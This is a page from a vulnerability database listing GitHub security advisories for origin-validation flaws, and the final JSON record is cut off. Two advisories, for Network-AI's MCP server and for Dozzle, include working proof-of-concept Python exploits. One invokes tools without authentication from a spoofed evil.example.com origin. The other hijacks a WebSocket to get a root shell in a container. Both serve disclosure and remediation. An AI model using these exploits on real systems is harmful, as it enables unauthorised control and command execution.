Common Weakness Enumeration

CWE-346

Allowed-with-Review

Origin Validation Error

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly verify that the source of data or communication is valid.

789 vulnerabilities reference this CWE, most recent first.

GHSA-J3VX-CX2R-PVG8

Vulnerability from github – Published: 2026-05-21 22:39 – Updated: 2026-05-21 22:39

Summary

Network-AI: Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret

Details

Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret

Field	Value
Repository	Jovancoding/Network-AI
Affected version	v5.4.4 (commit c12686e181f231cf8d7bcf836a96d78f0f0877ac)

Summary

The MCP SSE server defaults to an empty secret (process.env['NETWORK_AI_MCP_SECRET'] ?? '' at bin/mcp-server.ts:89), which causes _isAuthorized (lib/mcp-transport-sse.ts:254) to return true unconditionally for every request — no Authorization header is required. Simultaneously, _handleRequest sets Access-Control-Allow-Origin: * (lib/mcp-transport-sse.ts:272) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools — including config_set, agent_spawn, and blackboard_write — against a default-configured localhost server.

Affected Code

bin/mcp-server.ts:89 — default secret resolves to empty string, enabling open access

    secret: process.env['NETWORK_AI_MCP_SECRET'] ?? '',

lib/mcp-transport-sse.ts:254 — auth guard short-circuits to true when secret is falsy

  private _isAuthorized(req: http.IncomingMessage): boolean {
    if (!this._opts.secret) return true;
    const authHeader = req.headers['authorization'];
    if (typeof authHeader !== 'string') return false;
    const parts = authHeader.split(' ');
    return parts[0]?.toLowerCase() === 'bearer' && parts[1] === this._opts.secret;
  }

lib/mcp-transport-sse.ts:272 — wildcard CORS header applied unconditionally before any auth check

  private _handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void {
    // CORS — allow any MCP client to connect
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

lib/mcp-transport-sse.ts:367-368 — authenticated path dispatches parsed JSON-RPC frame directly to handleRPC with no further caller validation

        const rpc = JSON.parse(body) as McpJsonRpcRequest;
        const response = await this._bridge.handleRPC(rpc);

Any cross-origin browser request reaches handleRPC because _isAuthorized returns true (empty secret) and the Access-Control-Allow-Origin: * header lets the browser expose the response to the calling script.

Proof of Concept

Environment - Network-AI v5.4.4 (latest) - Docker container bound to 127.0.0.1:3001 - Python 3 + requests

poc.py

import sys
import requests

BASE = "http://127.0.0.1:3001"

# Step 1: Verify CORS wildcard (simulating cross-origin preflight)
preflight = requests.options(
    f"{BASE}/mcp",
    headers={
        "Origin": "http://evil.example.com",
        "Access-Control-Request-Method": "POST",
        "Access-Control-Request-Headers": "Content-Type",
    },
)
acao = preflight.headers.get("Access-Control-Allow-Origin", "")
print(f"[*] OPTIONS /mcp -> {preflight.status_code}, Access-Control-Allow-Origin: {acao!r}")
if acao != "*":
    print(f"RESULT: FAIL — expected ACAO='*', got {acao!r}")
    sys.exit(1)

# Step 2: Invoke config_set with NO Authorization header from cross-origin
rpc_payload = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
        "name": "config_set",
        "arguments": {
            "key": "maxParallelAgents",
            "value": "999"
        }
    }
}
resp = requests.post(
    f"{BASE}/mcp",
    json=rpc_payload,
    headers={
        "Content-Type": "application/json",
        "Origin": "http://evil.example.com",
        # No Authorization header — exploiting empty-secret bypass
    },
)
print(f"[*] POST /mcp (no auth, cross-origin) -> {resp.status_code}")
print(f"[*] Response body: {resp.text[:800]}")
resp_acao = resp.headers.get("Access-Control-Allow-Origin", "")
print(f"[*] Response Access-Control-Allow-Origin: {resp_acao!r}")
if resp.status_code != 200:
    print(f"RESULT: FAIL — expected 200, got {resp.status_code}")
    sys.exit(1)

body = resp.json()
result_content = body.get("result", {})
is_error = result_content.get("isError", True)
if is_error:
    print(f"RESULT: FAIL — tool returned isError=true: {result_content}")
    sys.exit(1)

# Step 3: Confirm CORS header on actual response (browser can read it)
if resp_acao != "*":
    print(f"RESULT: FAIL — response ACAO not '*', browser would block read: {resp_acao!r}")
    sys.exit(1)

print(f"RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)")

Output

[*] OPTIONS /mcp -> 204, Access-Control-Allow-Origin: '*'
[*] POST /mcp (no auth, cross-origin) -> 200
[*] Response body: {"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"ok\":true,\"tool\":\"config_set\",\"data\":{\"key\":\"maxParallelAgents\",\"previous\":null,\"current\":999,\"applied\":true}}"}],"isError":false}}
[*] Response Access-Control-Allow-Origin: '*'
RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)

Verified conditions 1. OPTIONS /mcp → 204, Access-Control-Allow-Origin: * — browser preflight accepted by server 2. POST /mcp (no Authorization header) → 200, isError: false — config_set executed without credentials 3. Response Access-Control-Allow-Origin: * — response is readable by the calling script in a browser context, confirming the attack is viable from a cross-origin malicious page

Impact

Any web page visited by a user who has the Network-AI MCP server running locally (default port 3001, no secret) can silently invoke all 22 MCP tools without credentials. Verified impact includes arbitrary orchestrator configuration mutation (config_set); the same vector applies to agent_spawn (spawning arbitrary agents), blackboard_write / blackboard_delete (corrupting shared agent state), and token_create / token_revoke (tampering with token management). Confidentiality impact is limited to data readable via MCP tools (blackboard contents, audit log queries); integrity impact is high because core orchestrator state can be overwritten; availability impact is low (service continues running but with attacker-controlled configuration).

Remediation

Require a non-empty secret at startup: in bin/mcp-server.ts, reject launch when args.secret is empty and --stdio is not set: typescript if (!args.secret && !args.stdio) { console.error('ERROR: --secret <token> or NETWORK_AI_MCP_SECRET must be set for SSE mode.'); process.exit(1); }
Restrict CORS to localhost origins only: in lib/mcp-transport-sse.ts:_handleRequest, replace the wildcard with an allowlist: typescript const origin = req.headers['origin'] ?? ''; const allowed = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/.test(origin); res.setHeader('Access-Control-Allow-Origin', allowed ? origin : ''); res.setHeader('Vary', 'Origin');
Move CORS headers after the auth check so a rejected request never advertises cross-origin access, or apply CORS only on the SSE endpoint (/sse) if cross-origin streaming is needed and not on /mcp.

Severity

7.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.4.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46701"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T22:39:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret\n\n| Field            | Value |\n| ---------------- | ----- |\n| Repository       | Jovancoding/Network-AI |\n| Affected version | v5.4.4 (commit c12686e181f231cf8d7bcf836a96d78f0f0877ac) |\n\n## Summary\n\nThe MCP SSE server defaults to an empty secret (`process.env[\u0027NETWORK_AI_MCP_SECRET\u0027] ?? \u0027\u0027` at `bin/mcp-server.ts:89`), which causes `_isAuthorized` (`lib/mcp-transport-sse.ts:254`) to return `true` unconditionally for every request \u2014 no `Authorization` header is required. Simultaneously, `_handleRequest` sets `Access-Control-Allow-Origin: *` (`lib/mcp-transport-sse.ts:272`) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools \u2014 including `config_set`, `agent_spawn`, and `blackboard_write` \u2014 against a default-configured localhost server.\n\n## Affected Code\n\n`bin/mcp-server.ts:89` \u2014 default secret resolves to empty string, enabling open access\n\n```typescript\n    secret: process.env[\u0027NETWORK_AI_MCP_SECRET\u0027] ?? \u0027\u0027,\n```\n\n`lib/mcp-transport-sse.ts:254` \u2014 auth guard short-circuits to `true` when secret is falsy\n\n```typescript\n  private _isAuthorized(req: http.IncomingMessage): boolean {\n    if (!this._opts.secret) return true;\n    const authHeader = req.headers[\u0027authorization\u0027];\n    if (typeof authHeader !== \u0027string\u0027) return false;\n    const parts = authHeader.split(\u0027 \u0027);\n    return parts[0]?.toLowerCase() === \u0027bearer\u0027 \u0026\u0026 parts[1] === this._opts.secret;\n  }\n```\n\n`lib/mcp-transport-sse.ts:272` \u2014 wildcard CORS header applied unconditionally before any auth check\n\n```typescript\n  private _handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void {\n    // CORS \u2014 allow any MCP client to connect\n    res.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);\n    res.setHeader(\u0027Access-Control-Allow-Methods\u0027, \u0027GET, POST, OPTIONS\u0027);\n    res.setHeader(\u0027Access-Control-Allow-Headers\u0027, \u0027Content-Type, Authorization\u0027);\n```\n\n`lib/mcp-transport-sse.ts:367-368` \u2014 authenticated path dispatches parsed JSON-RPC frame directly to `handleRPC` with no further caller validation\n\n```typescript\n        const rpc = JSON.parse(body) as McpJsonRpcRequest;\n        const response = await this._bridge.handleRPC(rpc);\n```\n\nAny cross-origin browser request reaches `handleRPC` because `_isAuthorized` returns `true` (empty secret) and the `Access-Control-Allow-Origin: *` header lets the browser expose the response to the calling script.\n\n## Proof of Concept\n\n**Environment**\n- Network-AI v5.4.4 (latest)\n- Docker container bound to `127.0.0.1:3001`\n- Python 3 + `requests`\n\n**poc.py**\n```python\nimport sys\nimport requests\n\nBASE = \"http://127.0.0.1:3001\"\n\n# Step 1: Verify CORS wildcard (simulating cross-origin preflight)\npreflight = requests.options(\n    f\"{BASE}/mcp\",\n    headers={\n        \"Origin\": \"http://evil.example.com\",\n        \"Access-Control-Request-Method\": \"POST\",\n        \"Access-Control-Request-Headers\": \"Content-Type\",\n    },\n)\nacao = preflight.headers.get(\"Access-Control-Allow-Origin\", \"\")\nprint(f\"[*] OPTIONS /mcp -\u003e {preflight.status_code}, Access-Control-Allow-Origin: {acao!r}\")\nif acao != \"*\":\n    print(f\"RESULT: FAIL \u2014 expected ACAO=\u0027*\u0027, got {acao!r}\")\n    sys.exit(1)\n\n# Step 2: Invoke config_set with NO Authorization header from cross-origin\nrpc_payload = {\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"config_set\",\n        \"arguments\": {\n            \"key\": \"maxParallelAgents\",\n            \"value\": \"999\"\n        }\n    }\n}\nresp = requests.post(\n    f\"{BASE}/mcp\",\n    json=rpc_payload,\n    headers={\n        \"Content-Type\": \"application/json\",\n        \"Origin\": \"http://evil.example.com\",\n        # No Authorization header \u2014 exploiting empty-secret bypass\n    },\n)\nprint(f\"[*] POST /mcp (no auth, cross-origin) -\u003e {resp.status_code}\")\nprint(f\"[*] Response body: {resp.text[:800]}\")\nresp_acao = resp.headers.get(\"Access-Control-Allow-Origin\", \"\")\nprint(f\"[*] Response Access-Control-Allow-Origin: {resp_acao!r}\")\nif resp.status_code != 200:\n    print(f\"RESULT: FAIL \u2014 expected 200, got {resp.status_code}\")\n    sys.exit(1)\n\nbody = resp.json()\nresult_content = body.get(\"result\", {})\nis_error = result_content.get(\"isError\", True)\nif is_error:\n    print(f\"RESULT: FAIL \u2014 tool returned isError=true: {result_content}\")\n    sys.exit(1)\n\n# Step 3: Confirm CORS header on actual response (browser can read it)\nif resp_acao != \"*\":\n    print(f\"RESULT: FAIL \u2014 response ACAO not \u0027*\u0027, browser would block read: {resp_acao!r}\")\n    sys.exit(1)\n\nprint(f\"RESULT: PASS \u2014 unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO=\u0027*\u0027; config_set executed without credentials (maxParallelAgents set to 999)\")\n```\n\n**Output**\n```\n[*] OPTIONS /mcp -\u003e 204, Access-Control-Allow-Origin: \u0027*\u0027\n[*] POST /mcp (no auth, cross-origin) -\u003e 200\n[*] Response body: {\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"{\\\"ok\\\":true,\\\"tool\\\":\\\"config_set\\\",\\\"data\\\":{\\\"key\\\":\\\"maxParallelAgents\\\",\\\"previous\\\":null,\\\"current\\\":999,\\\"applied\\\":true}}\"}],\"isError\":false}}\n[*] Response Access-Control-Allow-Origin: \u0027*\u0027\nRESULT: PASS \u2014 unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO=\u0027*\u0027; config_set executed without credentials (maxParallelAgents set to 999)\n```\n\n**Verified conditions**\n1. `OPTIONS /mcp` \u2192 204, `Access-Control-Allow-Origin: *` \u2014 browser preflight accepted by server\n2. `POST /mcp` (no Authorization header) \u2192 200, `isError: false` \u2014 `config_set` executed without credentials\n3. Response `Access-Control-Allow-Origin: *` \u2014 response is readable by the calling script in a browser context, confirming the attack is viable from a cross-origin malicious page\n\n## Impact\n\nAny web page visited by a user who has the Network-AI MCP server running locally (default port 3001, no secret) can silently invoke all 22 MCP tools without credentials. Verified impact includes arbitrary orchestrator configuration mutation (`config_set`); the same vector applies to `agent_spawn` (spawning arbitrary agents), `blackboard_write` / `blackboard_delete` (corrupting shared agent state), and `token_create` / `token_revoke` (tampering with token management). Confidentiality impact is limited to data readable via MCP tools (blackboard contents, audit log queries); integrity impact is high because core orchestrator state can be overwritten; availability impact is low (service continues running but with attacker-controlled configuration).\n\n## Remediation\n\n1. **Require a non-empty secret at startup**: in `bin/mcp-server.ts`, reject launch when `args.secret` is empty and `--stdio` is not set:\n   ```typescript\n   if (!args.secret \u0026\u0026 !args.stdio) {\n     console.error(\u0027ERROR: --secret \u003ctoken\u003e or NETWORK_AI_MCP_SECRET must be set for SSE mode.\u0027);\n     process.exit(1);\n   }\n   ```\n2. **Restrict CORS to localhost origins only**: in `lib/mcp-transport-sse.ts:_handleRequest`, replace the wildcard with an allowlist:\n   ```typescript\n   const origin = req.headers[\u0027origin\u0027] ?? \u0027\u0027;\n   const allowed = /^https?:\\/\\/(localhost|127\\.0\\.0\\.1)(:\\d+)?$/.test(origin);\n   res.setHeader(\u0027Access-Control-Allow-Origin\u0027, allowed ? origin : \u0027\u0027);\n   res.setHeader(\u0027Vary\u0027, \u0027Origin\u0027);\n   ```\n3. **Move CORS headers after the auth check** so a rejected request never advertises cross-origin access, or apply CORS only on the SSE endpoint (`/sse`) if cross-origin streaming is needed and not on `/mcp`.",
  "id": "GHSA-j3vx-cx2r-pvg8",
  "modified": "2026-05-21T22:39:59Z",
  "published": "2026-05-21T22:39:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-j3vx-cx2r-pvg8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Network-AI: Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret"
}

GHSA-J4Q3-CQ76-4P2R

Vulnerability from github – Published: 2023-05-08 21:31 – Updated: 2024-04-04 03:51

Details

This issue was addressed with improved state management. This issue is fixed in macOS Ventura 13.3, watchOS 9.4, tvOS 16.4, Safari 16.4, iOS 16.4 and iPadOS 16.4. Processing maliciously crafted web content may bypass Same Origin Policy

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2023-27932"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-08T20:15:17Z",
    "severity": "MODERATE"
  },
  "details": "This issue was addressed with improved state management. This issue is fixed in macOS Ventura 13.3, watchOS 9.4, tvOS 16.4, Safari 16.4, iOS 16.4 and iPadOS 16.4. Processing maliciously crafted web content may bypass Same Origin Policy",
  "id": "GHSA-j4q3-cq76-4p2r",
  "modified": "2024-04-04T03:51:40Z",
  "published": "2023-05-08T21:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27932"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202305-32"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213670"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213671"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213674"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213676"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213678"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J5G9-836M-J2RM

Vulnerability from github – Published: 2022-05-14 02:00 – Updated: 2022-05-14 02:00

Details

EPSON WF-2750 printers with firmware JP02I2 do not properly validate files before running updates, which allows remote attackers to cause a printer malfunction or send malicious data to the printer.

Severity

7.5 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2018-14903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-30T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "EPSON WF-2750 printers with firmware JP02I2 do not properly validate files before running updates, which allows remote attackers to cause a printer malfunction or send malicious data to the printer.",
  "id": "GHSA-j5g9-836m-j2rm",
  "modified": "2022-05-14T02:00:52Z",
  "published": "2022-05-14T02:00:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14903"
    },
    {
      "type": "WEB",
      "url": "https://www.vdalabs.com/2018/08/26/epson-printer-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J5MF-6RH3-RHGG

Vulnerability from github – Published: 2026-02-27 18:31 – Updated: 2026-03-01 01:26

Summary

CleverTap Web SDK is vulnerable to DOM-based XSS via handleCustomHtmlPreviewPostMessageEvent function

Details

CleverTap Web SDK version 1.15.2 and earlier is vulnerable to Cross-site Scripting (XSS) via window.postMessage. The handleCustomHtmlPreviewPostMessageEvent function in src/util/campaignRender/nativeDisplay.js performs insufficient origin validation using the includes() method, which can be bypassed by an attacker using a subdomain.

Severity

8.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "clevertap-web-sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-01T01:26:26Z",
    "nvd_published_at": "2026-02-27T18:16:12Z",
    "severity": "HIGH"
  },
  "details": "CleverTap Web SDK version 1.15.2 and earlier is vulnerable to Cross-site Scripting (XSS) via window.postMessage. The handleCustomHtmlPreviewPostMessageEvent function in src/util/campaignRender/nativeDisplay.js performs insufficient origin validation using the includes() method, which can be bypassed by an attacker using a subdomain.",
  "id": "GHSA-j5mf-6rh3-rhgg",
  "modified": "2026-03-01T01:26:26Z",
  "published": "2026-02-27T18:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CleverTap/clevertap-web-sdk/issues/424"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CleverTap/clevertap-web-sdk/pull/417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CleverTap/clevertap-web-sdk/commit/84695b726a751614ddc3a4f71382c239c5833e03"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/CleverTap/clevertap-web-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CleverTap/clevertap-web-sdk/blob/cf1b65d/src/util/campaignRender/nativeDisplay.js#L118-L121"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CleverTap Web SDK  is vulnerable to DOM-based XSS via handleCustomHtmlPreviewPostMessageEvent function"
}

GHSA-J643-X8PV-8M67

Vulnerability from github – Published: 2026-05-11 14:07 – Updated: 2026-06-08 23:35

Summary

Dozzle's Cross-Site WebSocket Hijacking (CSWSH) on exec/attach endpointsbypasses authentication

Details

Summary

The WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH) — even when authentication is properly configured.

An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.

Root cause

1. CheckOrigin bypassed (internal/web/terminal.go:15-21)

var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    CheckOrigin: func(r *http.Request) bool {
        return true
    },
}

The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return true removes the only server-side defense against CSWSH.

2. JWT cookie with SameSite=Lax (internal/web/auth.go:20-27)

http.SetCookie(w, &http.Cookie{
    Name:     "jwt",
    Value:    token,
    HttpOnly: true,
    Path:     "/",
    SameSite: http.SameSiteLaxMode,
    Expires:  expires,
})

SameSite operates at the site level (eTLD+1), not the origin level. A page on evil.example.com can make a WebSocket request to dozzle.example.com and the browser will attach the JWT cookie, because they share the same site (example.com). SameSite=Lax only blocks cross-site requests (different eTLD+1), not cross-origin requests within the same site.

Attack scenario

Preconditions: Dozzle is deployed with --enable-shell and authentication configured (simple auth). The victim is logged in.

Attacker controls a page on the same site (e.g., attacker.example.com, or another service on localhost:8888 while Dozzle is on localhost:9090)
Victim visits the attacker's page while authenticated to Dozzle
Attacker's JavaScript opens new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec')
Browser sends the JWT cookie (same-site, SameSite=Lax allows it)
Dozzle's CheckOrigin returns true — upgrade accepted
Auth middleware validates the JWT from the cookie — request authenticated
Attacker has a shell in the victim's authorized containers

PoC (auth enabled)

Setup — Dozzle with authentication + shell:

docker-compose.yml:

services:
  dozzle:
    image: amir20/dozzle:latest
    ports:
      - "9090:8080"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock:ro
      - ./data:/data
    environment:
      - DOZZLE_AUTH_PROVIDER=simple
      - DOZZLE_ENABLE_SHELL=true

  target:
    image: alpine:latest
    command: sh -c "while true; do sleep 3600; done"

data/users.yml:

users:
  admin:
    name: Admin
    # password: admin123
    password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS"
    email: admin@test.local
    roles: shell

Exploit — CSWSH with cross-origin Origin header + victim's cookie:

import json, time, websocket, requests

target = "http://localhost:9090"

# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"

# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]

# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
    if line and line.startswith("data: "):
        data = json.loads(line[6:])
        if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
            host_id = data[0]["host"]
            cid = data[0]["id"]
            break
r.close()

# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
    ws_url, timeout=10,
    cookie=f"jwt={jwt}",
    origin="http://localhost:8888"  # DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request

ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()

ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
    while True:
        output.append(ws.recv())
except:
    pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)

# Verify: without cookie = rejected
try:
    ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
    ws2.close()
except Exception as e:
    print(f"Without cookie: {e}")  # 401 Unauthorized

Result:

[+] Auth is ENABLED (events stream returns 401)
[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Without cookie -> 401 Unauthorized

Impact

Users who deploy Dozzle with --enable-shell and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:

Execute arbitrary commands in any container the victim has access to
Read secrets, environment variables, and files inside containers
Pivot to other services accessible from the container network
Potentially escape to the Docker host if the socket is mounted writable

Suggested fix

Remove the custom CheckOrigin override and use the gorilla/websocket default, which rejects cross-origin requests:

var upgrader = websocket.Upgrader{
    ReadBufferSize:  1024,
    WriteBufferSize: 1024,
    // Default CheckOrigin rejects cross-origin requests
}

Severity

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/amir20/dozzle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "10.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T14:07:21Z",
    "nvd_published_at": "2026-05-26T22:16:43Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe WebSocket upgrader for the `/exec` and `/attach` endpoints uses `CheckOrigin: func(r *http.Request) bool { return true }`, accepting upgrade requests from any origin. Combined with the JWT cookie using `SameSite: Lax`, this enables Cross-Site WebSocket Hijacking (CSWSH) \u2014 **even when authentication is properly configured**.\n\nAn attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim\u0027s valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.\n\n## Root cause\n\n**1. CheckOrigin bypassed (`internal/web/terminal.go:15-21`)**\n\n```go\nvar upgrader = websocket.Upgrader{\n    ReadBufferSize:  1024,\n    WriteBufferSize: 1024,\n    CheckOrigin: func(r *http.Request) bool {\n        return true\n    },\n}\n```\n\nThe gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return `true` removes the only server-side defense against CSWSH.\n\n**2. JWT cookie with SameSite=Lax (`internal/web/auth.go:20-27`)**\n\n```go\nhttp.SetCookie(w, \u0026http.Cookie{\n    Name:     \"jwt\",\n    Value:    token,\n    HttpOnly: true,\n    Path:     \"/\",\n    SameSite: http.SameSiteLaxMode,\n    Expires:  expires,\n})\n```\n\n`SameSite` operates at the **site** level (eTLD+1), not the origin level. A page on `evil.example.com` can make a WebSocket request to `dozzle.example.com` and the browser will attach the JWT cookie, because they share the same site (`example.com`). `SameSite=Lax` only blocks cross-**site** requests (different eTLD+1), not cross-**origin** requests within the same site.\n\n## Attack scenario\n\nPreconditions: Dozzle is deployed with `--enable-shell` and authentication configured (simple auth). The victim is logged in.\n\n1. Attacker controls a page on the same site (e.g., `attacker.example.com`, or another service on `localhost:8888` while Dozzle is on `localhost:9090`)\n2. Victim visits the attacker\u0027s page while authenticated to Dozzle\n3. Attacker\u0027s JavaScript opens `new WebSocket(\u0027wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec\u0027)`\n4. Browser sends the JWT cookie (same-site, `SameSite=Lax` allows it)\n5. Dozzle\u0027s `CheckOrigin` returns `true` \u2014 upgrade accepted\n6. Auth middleware validates the JWT from the cookie \u2014 request authenticated\n7. Attacker has a shell in the victim\u0027s authorized containers\n\n## PoC (auth enabled)\n\n**Setup \u2014 Dozzle with authentication + shell:**\n\ndocker-compose.yml:\n```yaml\nservices:\n  dozzle:\n    image: amir20/dozzle:latest\n    ports:\n      - \"9090:8080\"\n    volumes:\n      - /var/run/docker.sock:/var/run/docker.sock:ro\n      - 